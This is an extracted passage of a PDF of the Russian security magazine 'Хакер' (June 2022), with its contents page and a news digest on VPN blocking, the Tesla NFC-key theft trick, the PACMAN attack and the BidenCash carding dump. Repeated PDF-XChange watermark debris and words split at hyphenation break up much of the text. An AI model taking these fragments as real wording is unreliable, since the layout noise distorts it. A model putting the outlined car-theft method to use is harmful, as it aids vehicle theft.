книги хакеры / журнал хакер / xa-279_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ПОДПИСКА НА «ХАКЕР»
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Мы благодарим всех, кто поддерживает редакцию и помогает нам компенсировать авторам и редакторам их труд. Без вас «Хакер» не мог бы существовать, и каждый новый подписчик делает его чуть лучше.
Напоминаем, что дает годовая подписка:
год доступа ко всем материалам, уже опубликованным на Xakep.ru;
год доступа к новым статьям, которые выходят по будням;
полное отсутствие рекламы на сайте (при условии, что ты залогинишься); возможность скачивать выходящие
каждый месяц номера в PDF, чтобы читать на любом удобном устройстве;
личную скидку 20%, которую можно использовать для продления
годовой подписки. Скидка накапливается с каждым продлением.
Если по каким-то причинам у тебя еще нет подписки или она скоро кончится, спеши исправить это!
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
m |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
c |
|
|
|
|
o |
|
|
w |
|
|
c |
|
|
|
|
o |
|
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
df |
|
n |
e |
|
Июнь 2022 |
|
df |
|
n |
e |
|
|||||||||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
|
-x ha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
№ 279 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
CONTENTS |
|
|
|
|
|
|
|
|
|
|
|
MEGANews
Самые важные события в мире инфосека за июнь
Флуктуация Пишем инжектор
шелл-кода для динамического
шифрования полезной нагрузки в памяти
Denonia
Как работает первый вредонос, нацеленный на AWS Lambda
Oh, Follina!
Изучаем нашумевшую
уязвимость в Microsoft Of ce
Уроки форензики Расследуем киберинцидент MrRobot
Фундаментальные основы хакерства Разбираем самодеятельность компиляторов при трансляции оператора выбора
Фундаментальные основы хакерства Определяем циклы в двоичном коде программы
Полное G Ломаем приложение на языке G, созданное в LabVIEW
HTB Meta
Эксплуатируем уязвимости в обработчиках изображений
HTB Timing
Пентестим веб-сервер на PHP
HTB Paper
Пентестим WordPress
и эксплуатируем баг в Polkit
HTB Ломаем
Phoenix
сайт на WordPress в обход WAF
Неприступный VPS Строим защищенный канал с внешним миром
Неспящий iPhone Как выключенный iPhone может шпионить за своим владельцем
Приходи на сеновал! Как устроен Ceno — мобильный браузер для обхода цензуры
Используй силу, Тукс! Применяем PowerShell в Linux
Roxy-WI
Удобный интерфейс
для HAProxy, Nginx, Apache и Keepalived
Часы для гика 2.0 Проектируем и собираем
настольные бинарные часы с Bluetooth
Время паять! Подбираем инструменты и осваиваем искусство пайки
Титры Кто делает этот журнал
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
Мария «Mifrill» Нефёдова nefedova@glc.ru
В этом месяце: в России блокиру ют , но не запреща ют использовать VPN, инженер Google считает , что чат бот ком пании обрел сознание , исследова тель показал, как угнать Tesla за 130 секунд, японские компании с трудом пережи
вают отказ от Internet Explorer, процес сорам Apple M1 угро
жает проблема PACMAN, а также другие интерес ные события.
VPN БЛОКИРУЮТ, НО НЕ ЗАПРЕЩАЮТ
В начале июня у россий ских пользовате лей возникли проблемы с NordVPN, Proton VPN и другими VPN-сервисами . Предста вители Роскомнад зора под твердили , что в рамках закона «о суверенном рунете» ведется работа по бло кировке VPN-сервисов , в том числе Proton VPN, помогающих обходить бло кировки признанно го в РФ запрещен ным контента .
После жалоб на проблемы с подклю чением на сайте Proton VPN появилось официаль ное сообщение , в котором операто ры предположи ли, что начались блокиров ки.
«В настоящее |
время |
мы |
изучаем |
проблему |
, и она не связана |
|
||||||||||||
«с какими либо изменени |
ями |
с нашей |
стороны |
. Вероятно , местные |
|
|||||||||||||
интернет провай деры |
и власти мешают работе VPN-соединений |
, и в |
|
|||||||||||||||
этом случае мы не сможем |
решить эти проблемы |
. Некоторые |
серверы |
|
||||||||||||||
могут продол жать |
работать. |
Мы будем продол жать |
попытки обойти |
» |
||||||||||||||
блокиров |
ку . Спасибо |
за ваше терпение |
и понимание », — писали пред- |
|||||||||||||||
|
||||||||||||||||||
ставите ли сервиса |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Вскоре после этого СМИ сообщили , что, согласно постам пользовате лей
в социаль ных сетях, похожие проблемы наблюда ются у Lantern и Outline VPN,
а также сбоит NordVPN. Сервис GlobalCheck показывал , что сайт nordvpn.com
недоступен в сетях «Ростелеко ма », МТС, «Мегафона », Tele2, билайна и Yota. Специалис ты «Роском сво боды » подтвержда ли , что блокиров ки действи
тельно имеют место :
««Почти все серверы швейцар ского VPN-сервиса от создателей ProtonMail недоступны в России у провай деров с оборудо ванием ТСПУ. Блокиров ке подверга ется API-хост api.protonvpn.ch, из за чего
программа не может скачать список серверов для подклю чения, а так- же большинс тво публичных серверов в бесплат ной версии услуги . На момент написания этого сообщения работает сервер JP-FREE#9.0
0
Фильтра ция осущест вляется по IP-адресам серверов , а не по харак-
терным признакам VPN-протоко лов, хоть и необычно : UDP-запросы остаются без ответа , а TCP-соединение устанав ливается, но „зависа-» ет“ после первого отправленно го пакета».
Вскоре появилось и официаль ное заявление от предста вите лей Роскомнад зора, которые сообщили , что в рамках закона «о суверенном рунете» в Рос сии ведется работа по блокиров ке VPN-сервисов .
««Согласно закону „О связи “, средства обхода блокиро вок противоп - равного контента признают ся угрозой . Центр мониторин га и управле-
ния сетью связи общего пользования (ЦМУ ССОП) принима ет меры
по ограниче нию работы на территории России VPN-сервисов , наруша- ющих россий ское законодатель ство», — заявили в пресс службе » ведомства .
Интерес но , что спустя около двух недель после этого глава Минцифры Мак сут Шадаев сообщил , что власти не намерены вводить наказание для тех, кто пользует ся VPN-сервисами , чтобы обходить блокиров ки . При этом он отме тил, что использование таких приложе ний все же не приветс тву ется .
««Никаких наказаний для пользовате лей [VPN] категоричес ки не будет вводить ся. Мы против этого . Поэтому , кому очень надо, такую воз-
можность будет иметь, и будет иметь ее дальше , и сохранит . Но,
конечно , политике государства , когда в принципе ограничи вают дос- туп к каким то ресурсам , это противо речит. Я считаю , это разумный » компро мисс».
Также Шадаев поделился статис тикой пользователь ско го трафика , которую специалис ты Минцифры собирали до начала «спецопе рации » и после . По его словам , до 24 февраля суммарно на три заблокиро ван ные теперь социаль ные сети — Facebook, Instagram (принад лежат корпорации Meta, которая признана экстре мист ской и запрещена в РФ) и Twitter — приходи лось 10– 12% от всего трафика . Однако после 24 февраля и блокиров ки на долю сер висов VPN, которые помогали обойти ограниче ния , стало приходить ся лишь 20% от прежнего трафика трех соцсетей .
««То есть 80% просто ... неудобно переключать ся, включать , выключать [VPN], — пояснил Шадаев . — Потом, многие сайты , россий ские, ата- кованные из за рубежа, дают доступ только по россий скому IP. И в
этом смысле , даже если вы сидите под VPN, хотите зайти на россий - ский сайт, вам говорят, что он недоступен . Вам надо VPN выключить , » зайти на сайт, потом включить ».
26 000 000 ЗАПРОСОВ В СЕКУНДУ
Специалис там Cloudfare удалось отразить новую рекордную DDoS-атаку , в которой участво вал
небольшой , но мощный ботнет , состоящий из 5067 устройств . По информации Cloudfare, пиковая мощность атаки составила 26 миллионов запросов в секунду (request-per-second, RPS) и она была нацелена на одного из клиентов компании , использующих бесплат ный тариф ный план.
Суммарно в атаке были задейство ваны 5067 устройств , каждое из которых могло генерировать пример но 5200 запросов в секунду . Интерес но , что этот небольшой ботнет , использовав ший виртуаль ные машины и серверы , оказал ся в 4000 раз мощнее куда более крупных ботнетов .
ЯПОНЦАМ СЛОЖНО БЕЗ IE
15 июня 2022 года Microsoft окончатель но «похоронила » Internet Explorer,
отказав шись от использования устарев шего браузе ра. Невзирая на то что к этому шагу в компании готовились давно и предуп реждали пользовате лей, прекращение поддер жки IE спровоци ровало настоящий хаос в Японии , где IE по прежнему был в ходу у многих компаний и госструк тур.
Нужно сказать , что разработ чики Microsoft давно реализуют постепен ный отказ от поддер жки Internet Explorer, чья доля рынка составля ет около 5%, и старают ся перевести пользовате лей на браузер Edge. К примеру , еще в 2020 году Microsoft включила принуди тельное перенаправле ние IE-to- Edge для всех пользовате лей.
С этого момента более 1000 различных сайтов вообще перестали откры ваться в IE, и в их число вошли Twitter, Facebook и Instagram (заблокиро ваны
в России , принад лежат компании Meta, признанной экстре мист ской орга
низацией , запрещен ной на территории РФ), VK, Google Drive, Microsoft Teams, ESPN, Stack Overfow, Yahoo Mail. Посетители таких ресурсов автомати чески перенаправля лись в Edge.
15 июня 2022 года, как и планиро валось , Internet Explorer 11 был лик видирован в клиент ских сборках Windows 10 20H2 и более поздних , а также
в Windows IoT 20H2 и более поздних . В Windows 11 устарев ший браузер вооб ще отсутству ет, так как в новой версии ОС браузе ром по умолчанию является
Edge.
Теперь десктоп ная версия IE будет перенаправлять пользовате лей в Edge в течение несколь ких месяцев, а потом от браузе ра избавят ся окончатель но.
При этом есть продук ты , на которые ликвидация IE не распростра няет ся :
режим IE Mode в Edge, десктоп ный IE 11 в Windows 8.1 и Windows 7 (Extended Security Updates), Windows Server LTSC (все версии ), Windows Server 2022,
клиент |
Windows 10 LTSC (все версии ), Windows 10 IoT LTSC (все версии ). |
|||||||||||||||||||||||
При этом режим IE в Microsoft Edge будет поддержи |
вать ся по меньшей |
мере |
||||||||||||||||||||||
до 2029 года, что даст разработ |
чикам |
долгих восемь лет на модернизацию |
||||||||||||||||||||||
устарев |
ших |
приложе |
ний . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
Хотя |
подготов |
ка к 15 июня велась уже давно , издание Nikkei сообщило |
, что |
|||||||||||||||||||||
«смерть» IE стала неприят |
ным |
сюрпри зом |
для множес тва японских |
компаний |
, |
|||||||||||||||||||
спровоци |
ровав |
настоящий |
хаос. |
|
|
|
|
|
|
|
|
|
|
|
||||||||||
По данным |
журналис |
тов , начиная с апреля текущего года, токийско го раз |
||||||||||||||||||||||
работчика |
ПО Computer Engineering & Consulting заваливали |
просьбами |
||||||||||||||||||||||
о помощи. |
Проблема |
заключа |
ется |
в том, что клиенты |
, а это в основном |
государствен ные учреждения , финансовые учреждения , а также производс твенные и логистичес кие компании , управляли сайтами , совмести мыми толь
ко с Internet Explorer.
««Они знали [о поэтапном отказе ] давно , но, видимо, откладыва ли при-» нятие мер», — расска зывает предста витель компании .
Опохожих проблемах свидетель ствовал и мартов ский опрос, проведен ный ИТ компани ей Keyman’s Net, который показал, что множес тво организа ций в Японии до сих пор используют Internet Explorer. При этом 49% респонден тов
заявили , что браузер |
им нужен для работы. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
По словам |
|
опрошен ных , |
браузер |
, в частнос |
ти , использовал |
ся |
||||||||||||||||||||
для управления |
посещаемостью |
сотрудни |
ков , расчета |
расходов |
и ряда дру |
|||||||||||||||||||||
гих внутренних |
|
инстру мен тов . |
В некоторых |
случаях |
|
у компаний |
|
просто |
||||||||||||||||||
не было другого |
выбора, посколь |
ку на IE оказались |
завязаны системы |
кли |
||||||||||||||||||||||
ентов, необходимые |
для обработ ки заказов. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
Хуже того, более 20% респонден |
тов |
признали |
, что они вообще не знали |
|||||||||||||||||||||||
или не поняли, как перейти на другие браузе ры после прекращения |
поддер |
|||||||||||||||||||||||||
жки Internet Explorer. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
СМИ писали, что особен но медленно |
на отказ от IE реагирова |
ли японские |
||||||||||||||||||||||||
госорганы |
. К примеру |
, сайт, на котором размеща |
ется |
|
информация |
о гос |
||||||||||||||||||||
закупках и торгах , только после 15 июня стал рекомендовать |
пользовате |
лям |
не Internet Explorer, а браузе ры Microsoft Edge и Google Chrome. Для работы с сайтом пенсион ной службы Японии и онлайн заявлени ями до сих пор нужно просматри вать сайт в IE-режиме в Edge. А на многих других государствен ных ресурсах Internet Explorer по прежнему указан в качестве единствен ного рекомендуемо го браузе ра.
««Японцы любят безопасность . Чем крупнее организа ция или пра- вительствен ное учреждение , тем дольше они колеблются [перед при-
нятием решения], — комменти ровал Тецутаро Уэхара , профес сор Ази- атско Тихоокеан ского универ ситета Рицумэйкан . — Самая большая
проблема заключа ется в том, что, когда речь идет о правитель ствен- ных сайтах , существу ет очень ограничен ное количество поставщи ков, » которые могут вводить в работу столь большие системы ».
APPLE ОПУБЛИКОВАЛА СТАТИСТИКУ БАНОВ
Компания |
Apple опубликова |
ла ежегод ный |
отчет о работе команд экспертов |
App Review |
|||||
и Discovery Fraud, которые отвечают |
за анализ приложе |
ний , попадающих |
(или не попадающих |
) |
|||||
в App Store, а также борьбу с мошенниками |
. |
|
|
|
|
|
Инженеры компании говорят, что за год они защитили пользовате лей от 1 600 000 опасных и ненадежных приложе ний и обновлений .
УГНАТЬ TESLA ЗА 130 СЕКУНД
Австрий ский исследова тель Мартин Херфурт (Martin Herfurt) продемонс три ровал новый способ угона Tesla. Оказалось , для этого можно злоупот ребить функци ей добавления новой NFC-ключ карты и проделать это незаметно для владель ца авто, всего за 130 секунд.
Корень проблемы заключа ется в том, что в прошлом году Tesla выпустила обновление , которое упростило запуск автомоби лей после разбло кировки NFC-ключ картами . Раньше водители , которые использовали ключ карту для разбло кировки своих авто, должны были поместить ее на централь ную консоль , чтобы начать движение . Но после обновления , вышедшего в августе прошлого года, владель цы Tesla получили возможность управлять своими автомоби лями сразу после разбло кировки с помощью ключ карты , которая является одним из трех основных способов разбло кировки авто (два других способа — это брелок и мобильное приложе ние).
Херфурт обнаружил , что у новой функции есть странная особен ность : она не только позволя ет автомоби лю автомати чес ки заводиться в течение 130 секунд после разбло киров ки , но и переводит его в состояние , позволя ющее принимать новые ключи , без необходимос ти аутентифика ции
ибез какой либо индикации на дисплее авто.
««Tesla ввела этот таймер , чтобы сделать использование NFC-карт более удобным . То есть автомобиль должен заводиться и ехать
без повторно го использования ключ карты пользовате лем. Но есть проблема : в течение 130-секундно го периода разреша ется не только вождение автомоби ля, но и [регистра ция] нового ключа », — объясня ет » эксперт.
Конеч но , официаль ное приложе ние Tesla не позволя ет регистри ровать новые ключи , если оно не подклю чено к учетной записи владель ца , однако Херфурт обнаружил , что автомобиль охотно обменива ется сообщени ями с любым другим устройством Bluetooth Low Energy (BLE), находящим ся поблизос ти . В итоге эксперт создал собствен ное приложе ние под названи ем Teslakee, которое использует VCSec, как и официаль ное приложе ние Tesla.
Teslakee демонстри рует , с какой легкостью воры могут добавить авто мобилю собствен ный ключ. Нужно просто находиться неподалеку от авто во время 130-секундно го окна после разбло киров ки NFC-ключ картой . После этого вор может использовать свой ключ, чтобы открыть, завести и заглушить автомобиль в любое время . Ни на дисплее авто, ни в настоящем приложе нии Tesla при этом не будет отображать ся никаких сообщений о случив шемся .
Если же владелец транспортно го средства использует для разбло кировки авто приложе ние (а это самый распростра ненный метод разбло кировки Tesla), злоумыш ленник может вынудить жертву использовать ключ карту . Для этого достаточ но принес ти с собой глушил ку и заблокиро вать частоту BLE, необходимую для работы приложе ния.
Херфурт успешно испробовал свою атаку на Tesla Model 3 и Y. Он не про верял данный метод на новых Model S и X, но предполага ет , что они тоже уяз вимы, так как используют те же технологии .
Нужно отметить , что Херфурт создал Teslakee и провел свое исследова ние в рамках Project Tempa, который «предос тавляет инстру менты и информацию
о протоко ле VCSec, используемом аксессуара ми и приложе нием Tesla для управления транспортны ми средства ми через Bluetooth LE». Также Хер фурт является членом Trifnite Group, исследова тель ско го и хакерско го кол лектива , занимающе гося проблемами BLE.
Иссле дователь обнародо вал данные о проблеме , так как, по его словам , Tesla вряд ли ее исправит . Херфурт пишет, что он так и не получил от ком пании никаких ответов по поводу других уязвимос тей, которые обнаружил
в2019 и 2021 годах, и сомнева ется, что теперь что то изменит ся.
««У меня сложилось впечат ление, что они уже обо всем знали и не хотели что либо менять, — говорит Херфурт . — На этот раз Tesla [тоже] не может не знать об этой скверной имплемен тации. Поэтому я » просто не вижу смысла связывать ся с Tesla заранее».
МОШЕННИЧЕСКИЕ КОЛ-ЦЕНТРЫ В КОЛОНИЯХ ЗАКРЫТЫ
В кулуарах конферен ции «Цифровая индустрия промыш ленной России » заместитель правления «Сбербанка » Станис лав Кузнецов расска зал журналис там , что проблема с мошенничес кими кол центра ми в россий ских колониях на сегодня решена. По его словам , еще три четыре года назад с территории колоний работало «очень большое количество кол центров », но теперь все изменилось .
→ «Наши эксперты в свое время вскрыли проблему , что очень большое количество кол центров работало с территории россий ских колоний. В свое время мы давали статис тику (это статис тика трех четырехлетней давности ), что около 40% — это с территории Украины , около 40% — с территории колоний, тюрем, около 20% — с территории других точек, сопредель ных стран или с тер ритории России .
Сейчас мы видим только единич ные какие то факты , когда на наших сис темах мониторин га мы видим трансакции , которые проходят как мошенничес кие из тюрем либо из колоний. Мы считаем , что проблема кол центров в россий ских колониях решена, и решена прежде всего руководством ФСИН»,
— заявил Кузнецов .
Продолжение статьи0 →
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
← 0Начало статьи
PACMAN ПРОТИВ APPLE M1
Специалис ты Массачусет ского технологи ческого института обнаружи ли, что чипы Apple M1 уязвимы перед спекуля тивной атакой PACMAN. Эта проблема носит аппарат ный характер и связана с аутентифика цией указате ля (pointer authentication), позволяя злоумыш леннику выполнить произволь ный код на уязвимом устройстве .
Pointer authentication — защитная функция , добавляющая к указате лям криптогра фическую подпись , называемую pointer authentication code (PAC).
Благода ря ей операци онная система обнаружи вает и блокиру ет неожидан ные изменения , которые в против ном случае могли бы привес ти к утечке дан ных или компро мета ции . Атака PACMAN позволя ет удален но обойти аутен тификацию указате ля в ядре из userspace, по сути давая атакующе му полный контроль над чужой машиной.
Для реализации атаки злоумыш ленникам сначала понадобит ся найти баг
впамяти, связан ный с ПО на устройстве жертвы . Необходимо , чтобы эта ошибка была заблокиро вана PAC, то есть имела возможность перерасти
вболее серьезную проблему .
««PACMAN использует существу ющие програм мные ошибки (чтение / запись памяти) и превраща ет их в более серьезный примитив эксплу -
атации |
(обход |
pointer |
|
authentication), |
который может привес ти |
|
||||||||||||
к выполнению |
произволь |
ного |
кода. Чтобы проделать |
это, нам нужно |
|
|||||||||||||
узнать значение |
PAC для конкрет ного |
указате ля жертвы , — расска - |
|
|||||||||||||||
зывают эксперты . — PACMAN добивается |
этого с помощью того, что |
|
||||||||||||||||
мы называем PAC Oracle. Это способ ность |
определять |
, соответс тву ет |
|
|||||||||||||||
ли данный |
PAC конкрет ному |
указате лю . PAC Oracle не должен |
сбоить |
» |
||||||||||||||
даже в случае неверных предположе |
ний , и с его помощью мы брут- |
|||||||||||||||||
|
||||||||||||||||||
форсим все возможные |
значения |
PAC». |
|
|
|
|
|
|
|
Экспер ты тестирова ли PACMAN только на Apple M1, но полагают , что проб лема может затрагивать и другие процес соры ARM. Также отмечает ся, что атака представ ляет опасность для всех процес соров, использующих pointer authentication.
Хотя компания Apple не может исправить аппарат ный баг и блокиро вать атаки PACMAN, по словам экспертов , пользовате лям вряд ли стоит беспоко иться , если они поддержи вают свое ПО в актуаль ном состоянии и оно не содержит ошибок , которые могут быть использованы PACMAN.
«PACMAN — это метод эксплу атации, сам по себе он не может угро- |
|
||||||
«жать вашей системе |
. Хотя аппарат ные механизмы , используемые |
|
|||||
PACMAN, не могут быть исправлены |
програм мно, можно исправить |
» |
|||||
ошибки , связан ные |
|
с нарушением |
целостнос ти |
информации |
|||
|
|
||||||
в памяти», — добавляют |
специалис |
ты . |
|
|
|
|
Иссле дова тели уведоми ли Apple о своих выводах еще в 2021 году, а также поделились PoC-экспло итом . Однако в Apple заявили , что новая side-channel- атака не представ ляет опасности для пользовате лей Mac, так как сама по себе не может привес ти к обходу защиты устройства , а для ее эксплу ата ции нужны другие уязвимос ти в системе .
БОЛЕЕ 50 РОССИЙСКИХ КОМПАНИЙ ДОПУСТИЛИ УТЕЧКИ
Аналити ки Group-IB подсчи тали , что в мае и в начале июня в даркне те было опубликова но рекордное количество баз данных россий ских компаний — более 50.
Для сравнения : в апреле их было 32, а в марте — всего 16. Среди постра дав ших были ком пании, относящи еся к интернет сервисам доставки , медицине , телекому , интернет ретейлу , онлайн образова нию , строитель ству .
Общее количество строк в 19 наиболее крупных утечках последних полутора месяцев сос
тавило 616,6 миллиона .
Практичес ки все базы включают имена клиентов , их телефо ны , адреса , даты рож- дения, а некоторые также содержат хеш пароли, паспор тные данные , подробнос ти заказов или резуль таты медицинских анализов .
ШИРОКИЕ ЖЕСТЫ КАРДЕРОВ
Операто ры нового кардер ского сайта BidenCash пытаются получить извес тность, публикуя данные кредит ных карт и информацию об их владель цах бес платно или почти бесплат но.
Новый ресурс появился в апреле 2022 года, но долгое время не был готов к проведе нию масштаб ных операций . Теперь же операто ры BidenCash решили бесплат но раздать всем желающим CSV-файл, содержащий имена , адреса , номера телефонов , адреса электрон ной почты и номера банков ских карт, и таким образом прорек ламировать свою платформу .
В общей сложности файл содержит около восьми миллионов строк, но не все из них — данные карт. По оценке экспертов из компании D3Lab, в этом дампе можно найти данные о 6600 банков ских картах и около 1300 из них — это новые и действи тель ные карты , большинс тво из которых выпущены VISA и принад лежат физическим лицам из США.
Кроме того, аналити ки пишут, что в дампе можно обнаружить более трех миллионов уникаль ных адресов электрон ной почты , которые могут исполь зоваться злоумыш ленниками для фишинга и захвата чужих учетных записей.
Как и на других подобных сайтах , на BidenCash публику ется рейтинг валидности для новых лотов, такая оценка выставля ется после оценки случай ной выборки из 20 карт. Каждую неделю проводят ся новые провер ки всех листингов , и, если полученный рейтинг сильно отличает ся от прошлой оцен ки, продажу закрыва ют .
Также на BidenCash работает система фильтра ции, позволя ющая зло умышленни кам находить украден ные карты , подходящие именно для их кам паний. Можно искать по конкрет ным параметрам : странам , банкам или только записи, в которых есть необходимые данные , такие как CVV, адрес электрон ной почты , физический адрес, тип карты и имя владель ца. Проведен ный исследова телями тест показал, что хакеры могут покупать данные о под ходящих им картах всего по 15 центов за штуку .
